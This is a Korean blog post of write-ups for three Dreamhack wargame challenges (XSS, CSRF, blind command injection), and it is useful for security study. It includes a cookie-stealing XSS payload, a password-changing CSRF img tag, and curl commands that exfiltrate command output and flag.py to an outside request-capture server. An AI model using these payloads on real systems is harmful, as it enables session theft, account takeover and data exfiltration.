XSS, CSRF, Command Injection

2021. 8. 11. 17:44Layer7/Layer7_Web Hacking

Dreamhack - XSS-2



페이지를 로딩했을 때 위와 같이 vuln, memo, flag라는 세 페이지가 있다.


vuln 페이지에 가보면 파라미터로 <script> 태그가 전달되는 것을 볼 수 있으나 alert 창이 뜨지 않아 script가 실행되지 않은 모습을 볼 수 있다.



이때, <script> 태그를 필터링하고 있다고 생각해볼 수 있다.


즉, vuln 페이지에서 XSS를 터뜨리면 된다. 이때 vuln으로 요청을 보내려면 flag 페이지를 이용해서 요청을 보내야 한다.




check_xss 함수를 실행할 때 Cookie로 플래그를 넘겨주는 것을 볼 수 있다. check_xss에서는 read_url로 넘겨주고, read_url에서는 아래와 같이 처리한다:



즉, 플래그가 담겼지만 미사용 중인 Cookie 값을 Cookie로 설정한다.


따라서 플래그를 얻으려면 Cookie 값을 유출해야 한다.



memo에서는 memo 파라미터로 보낸 값을 페이지에 출력하고 있기 때문에 플래그를 얻어서 memo 페이지의 파라미터로 전달하게 되면 그 페이지에서 기록이 남게 된다.




페이로드

<img src=x onerror=location.href="/memo?memo="+document.cookie;>



<img> 태그와 onerror 기능을 이용하여 <script> 태그를 우회한다.


onerror 뒤에 나오는 내용은 script로서 실행을 하게 되는데, location.href로 /memo라는 경로를 지정해주고,


memo라는 파라미터에 document.cookie, 즉 현재 Cookie 값을 넘겨준다.


따라서 memo라는 페이지에 플래그가 담긴 Cookie 값이 나오게 된다.





Dreamhack - CSRF-2



flag 페이지에서 랜덤으로 세션 ID를 할당해 주고, 이름으로는 admin을 준다.



즉, flag 페이지에 접속만 하면 admin으로 권한이 상승되는 것이다.




따라서 flag에 접속하는 순간 세션이 admin이 되어 이외에 별다른 인증 과정 없이


아래 코드에서 나오듯이 pw 파라미터로 비밀번호 변경 요청을 보낼 수 있다.





페이로드

<img src=/change_password?pw=1234>



먼저 guest-guest으로 로그인한다.


script, on, frame 문자열이 필터링이 되므로 onerror 등의 기능을 사용하지 못한다.


그러나 우리에게 필요한 것은 단순히 요청만 보내는 것이기 때문에 <img src=>를 사용해도 된다.


SessionID는 이미 flag에 접속함으로써 admin이 되었고, 비밀번호를 변경하기 위해 pw 파라미터로 새 비밀번호를 전달한다.


비밀번호가 바뀐 뒤 admin라는 ID와 미리 지정한 비밀번호를 이용하여 로그인을 하면 아래와 같이 플래그가 출력된다.




Dreamhack - Blind Command Injection



소스 코드를 보면 요청은 요청은 GET으로 받고 있다.


cmd라는 매개변수를 이용하고, HTTP Request Method가 GET일 경우 아무런 처리도 하지 않고, GET이 아닐 때는 os.system 함수를 실행시켜 인자로는 cmd를 준다.


우리는 os.system 함수를 실행시켜야 하므로 if 검사 루틴을 우회해야 한다.


즉, GET와 같이 파라미터를 받지만 방식 자체는 GET이 아닌 Method로 요청을 보내야 한다.


이때 HEAD를 이용한다. HEAD는 본질적으로 GET와 비슷하지만, HTTP Response (응답)에는 Body가 포함되지 않는 것이 특징이다.


HEAD 요청을 서버가 처리할 수 있는지 확인하기 위해 요청을 OPTIONS으로 보냈다.



이때의 응답을 확인하면 Allow 헤더에서 서버가 받을 수 있는 Method들이 나열되어 있다.



위 사진에서 확인할 수 있듯이, 서버는 HEAD 요청을 처리할 수 있다.


따라서 Method는 HEAD으로 보내어 os.system()을 실행시킬 수 있게 된다.


다만 이는 Blind Command Injection이므로 반환되는 내용이 웹 페이지에 표시되지 않고,


외부 서버를 이용하여 반환된 내용을 그 외부 서버에 요청하게끔 하며, 외부 서버의 기록에서 반환된 내용을 확인하여 Blind Command Injection을 성공시킬 수 있다.


Requestbin으로 요청을 받을 수 있는 임시 서버를 만들었다.


만약 커맨드 인젝션에 성공하면, 그 결과를 외부 서버에 요청을 함으로써 우리가 결과를 볼 수 있다.


즉, curl을 이용하여 요청을 하게끔 하는데, 이때 curl + 우리가 지정한 서버 (~~~pipedream.net)에 파라미터로 `ls+|+tr+'\n'+'|'`을 준다.





리눅스에서는 ` `사이에 있는 구문은 쉘에 실행하여 그의 반환 값을 그 위치에 다시 대입하기 때문에 curl "서버주소/?a=`ls+|+tr+'\n'+'|'`" 와 같이 주면 ls를 실행하고, 그 결과를 a 파라미터로 넘기게 된다.


다시 말해, ls의 결과가 a= 뒤에 들어가서 서버에 요청하게 되므로, 서버에서 요청 기록을 보면 a= 뒤에 들어간 ls의 결과도 볼 수 있게 된다.



위 사진과 같이 요청 기록을 보면 요청한 URL이
ls가 들어간 것이 아닌 명령어를 실행하여 그 위치에 반환 값이 대입된 URL을 볼 수 있다.


따라서 ls를 실행한 결과를 볼 수 있게 된다.


아마도 플래그는 flag.py에 들어있을 것이기에 flag.py를 파일 전송으로 시도해본다.


curl --data-urlencode "a@flag.py" 서버 주소


위와 같이 cmd 파라미터를 변조하면 좀 전과 마찬가지로 해당 줄 전체를 쉘에서 실행하게 된다.




따라서, flag.py를 서버로 보내게 된다.




요청 기록을 보면 플래그가 나오는 것을 볼 수 있다.







메인 사진 출처: Unsplash


© 남찬우, 2021




'Layer7 > Layer7_Web Hacking' 카테고리의 다른 글

SQL Injection II  (0) 2021.08.29
JavaScript, PHP  (0) 2021.08.27
SSRF, HTTP Request Smuggling  (0) 2021.08.23
SQL Injection  (0) 2021.08.18
Proxy, Cookie  (0) 2021.08.09